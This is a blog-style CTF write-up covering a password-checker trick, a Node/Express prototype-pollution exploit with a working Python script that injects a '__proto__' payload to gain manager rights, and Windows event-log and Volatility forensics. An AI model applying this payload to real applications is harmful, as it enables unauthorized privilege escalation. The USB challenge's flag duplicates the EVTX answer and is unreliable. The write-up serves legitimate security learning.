Introduction
Amidst a period of leisure, I found myself with some spare time and I joined a CTF called ‘BSidesIndore CTF’ during the weekend. Honestly, the challenges were pretty tough and difficult but I got few (+lucky) challenges done. Learned a lot from this CTF especially on the topic of JS Prototype Pollution (which was a new discovery for me) and Memory Forensics (Volatility).
Web
Operation Cipher Vault
- We were given a website with a password checker.
- If the input is too short, then it will show the message ‘too short’, if it’s too long then an encrypted text will appear.
- My solution for this flag is pretty simple, which is to put an input that is long enough and short enough. (By adding and removing characters until you find the flag)
Note : Solved this while I was on my phone, forgot to document/screenshot the flag and the state of the website. Writing the solution here for future reference.
Buy The Flag (Unintended + Intended Solution)
Note : The server will restart every one minute.
Note 2 : I got this flag through unintended way first. I DMed the moderator, verified the flag and he gave me the keyword ‘Prototype Pollution’ for the intended way. Did some research about it and found ways to exploit the Express code.
- This challenge involved a given website that runs on an Express server. Additionally, the challenge provided the source code for the website. Buy the Flag Front Page Buy the Flag folder structure
-
Upon further inspection, it becomes evident that there is only one interesting file, which is the
index.js
that contains all the Express route code. -
A credential was given and I tried logging into the website..
username:accountant password:accountant
-
And I found an interesting page called Currency Exchange after logging in. In this page, there is a button for buying the flag which will redirect you to
/buy-flag
Currency Exchange Page -
Once the page redirected you to the
/buy-flag
, you will find aJSON
response in the browser like below{"error": "Invalid ID"}
-
Further inspection of the route for
/buy-flag
, I found that if theverifyManager()
does not equaltrue
then it will bring us to{"error": "Invalid ID"}
/buy-flag route verifyManager() WhatverifyManager()
does:-
The function takes a parameter called
receivedCookie
. -
It iterates over the
credentials
array using a for loop. - Within each iteration:
-
It parses the JSON data stored in
credentials[i]
and assigns it to the credential variable. -
It checks if the cookie property of the credential object is equal to the
receivedCookie
. -
If the condition is true, it returns an array containing the values of
credential.manager
andcredential.id
. -
If none of the credentials match the
receivedCookie
, the function returnsfalse
.
-
The function takes a parameter called
-
The code is only allowing the
manager
to buy the flag.. can’t think of an idea to exploit this… well atleast that is what I thought at first…
Intended Solution
-
Notice that if
isLoggedin
equals tofalse
inside the/buy-flag
route, we will be jumping to the functionsecurityIncident()
and then return the status403
with{error: "Unauthorized Action"}
.. -
Let’s have a look at what
securityIncident()
actually does.. securityIncident() -
extend()
here seems like ajquery
syntax which merges properties of objects but it is ported fornodejs
.extend(deep, target, object1, objectN)
-
So.. in this case..
{isLogedin: isLogedin, date: Date.now()}
is merged into therequest
object.then.. when they are merged, they will go into thelog
object. -
Now that we know from the fact above that the
securityIncident()
will merge objects, we could maybe try to doprototype pollution
to pollute all the objects.. -
So in theory, we will be passing
{"__proto__": {"manager": True, "id": 10}
into thesecurityIncident()
which lives on the route/buy-flag (Unauthenticated)
usingPOST
request. -
With this, our objects should have the
manager
andid
prototype properties from our crafted payload. -
Then we could proceed by logging in using
accountant
before the server restarts in 1 minute, and then sendingPOST
request to the/buy-flag (Authenticated)
with a data/body ofid = 10
(this is based on the id set on the payload) . - Let’s build a simple script for this!
import requests
base_url = "http://35.232.108.81/"
session = requests.Session()
prototype = {"__proto__": {"manager": True, "id": 10}}
# Start by polluting with the prototype. Triggering securityIncident()
polluter = session.post(f"{base_url}/buy-flag", json=prototype)
login_response = session.post(f"{base_url}/signin", data={"username": "accountant", "password": "accountant"})
if login_response.status_code == 200:
print("Login successful!")
else:
print("Login failed!")
exit()
buy_flag_resp = session.post(f"{base_url}/buy-flag", data={"id": 10})
if buy_flag_resp.status_code == 200:
print(buy_flag_resp.text)
Running the script will give you the flag.
Flag : BSidesIndore{P0LLUT10N_1$_3V3RYWH3R3}
Unintended Solution
-
I just kept on refreshing the
/buy-flag
route and eventually got the flag. - This is probably due to other players solving the challenge while I was refreshing.
- From my understanding, the server will restart after 1 minute (clearing all credentials). So, if given the right moment/luck, you will get the flag if there is someone else trying to solve the challenge at the same time.
Forensics
Can you WIN from EVTX?
-
An
.evtx
file which is an event viewer file for Windows were given to us. -
The challenge asks us to find
how many failed logins?when was the last successful login date and time?
-
To look for failed logins, you could find it by searching for the event id
4625
inside security event viewer logs. Event ID 4625 inside the Security Event Viewer Log -
There’s a total of
6
failed logins identified. -
Next, we have to look for the last successful login date and time.. we could find it by searching for the event id
4624
. Event ID 4624 inside the Security Event Viewer Log -
Aand now we have completed the flag with the required information!
Flag : BSidesIndore{6_8/23/2022_10:56:09PM}
USB
Find out if the employee connected an external USB and the last time an external USB is connected
-
For this challenge, we were given a file named
memdump.raw
which seems like a memory dump. -
Then I proceeded first by checking the image info using a tool called
Volatility
. Volatility imageinfo -
Running
imageinfo
tells us that the one of suggested profile for the memory dump inspection isWin7SP1x64
. -
Maybe we could use the
usbstor
plugin insidevolatility
to see if we could find the last time an external USB is connected..
Windows Portable Devices
--
FriendlyName: CROWDSEC
Serial Number: 7&22AC07DA&0
Last Write Time: 2022-08-21 07:56:05 UTC+0000
- Unfortunately, there isn’t any data on the last connected USB device. Only the last write time were given.
-
Maybe we could do the other way, which is by finding the
last connected USB
event inside memory dump.evtx
files. -
Running
volatility
filescan
, you could find all the files inside the memory dump with their offset.python2 vol.py -f memdump.raw --profile=Win7SP1x64 filescan > files.txt
-
Now, we have to look for
Microsoft/Windows/DriverFrameworks-UserMode/Operational
.evtx
file inside thefilescan
output. -
Now that we have found the offset at
0x000000003be12070
, let’s dump the file into our computer. File dumping into our folder. -
Let’s open the
.evtx
file in the event viewer and look for the event ID2003
. Now, we should be able to find the last time an external USB is connected.Flag : BSidesIndore{6_8/23/2022_10:56:09AM}